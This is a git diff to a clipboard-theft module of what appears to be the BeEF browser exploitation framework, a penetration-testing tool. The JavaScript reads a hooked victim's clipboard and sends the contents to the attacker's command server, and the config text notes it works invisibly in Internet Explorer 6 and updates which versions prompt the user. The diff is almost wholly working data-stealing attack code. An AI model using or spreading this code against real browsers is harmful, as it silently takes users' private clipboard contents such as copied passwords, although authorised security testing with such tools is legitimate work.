diff --git a/modules/host/clipboard_theft/command.js b/modules/host/clipboard_theft/command.js index 821d942cf..b34d3c2e0 100644 --- a/modules/host/clipboard_theft/command.js +++ b/modules/host/clipboard_theft/command.js @@ -5,9 +5,12 @@ // beef.execute(function() { - if (clipboardData.getData("Text") !== null) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard="+clipboardData.getData("Text"), beef.are.status_success()); - } else { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard=clipboardData.getData is null or not supported.", beef.are.status_error()); - } + try { + var clipboard = clipboardData.getData("Text"); + beef.debug("[Clipboard Theft] Success: Retrieved clipboard contents (" + clipboard.length + ' bytes)'); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard="+clipboard, beef.are.status_success()); + } catch (e) { + beef.debug("[Clipboard Theft] Error: Could not retrieve clipboard contents"); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=clipboardData.getData is not supported.", beef.are.status_error()); + } }); diff --git a/modules/host/clipboard_theft/config.yaml b/modules/host/clipboard_theft/config.yaml index 7b46fcf28..eec3a7d13 100644 --- a/modules/host/clipboard_theft/config.yaml +++ b/modules/host/clipboard_theft/config.yaml @@ -9,7 +9,7 @@ beef: enable: true category: "Host" name: "Get Clipboard" - description: "Retrieves the clipboard contents. This module will work automatically with Internet Explorer 6.x however Internet Explorer 7.x will prompt the user and ask for permission to access the clipboard." + description: "Retrieves the clipboard contents. This module works invisibly with Internet Explorer 6.x however Internet Explorer 7.x - 8.x will prompt the user for permission to access the clipboard." authors: ["bcoles"] target: working: @@ -19,6 +19,6 @@ beef: user_notify: IE: min_ver: 7 - max_ver: 7 + max_ver: 8 not_working: ["All"]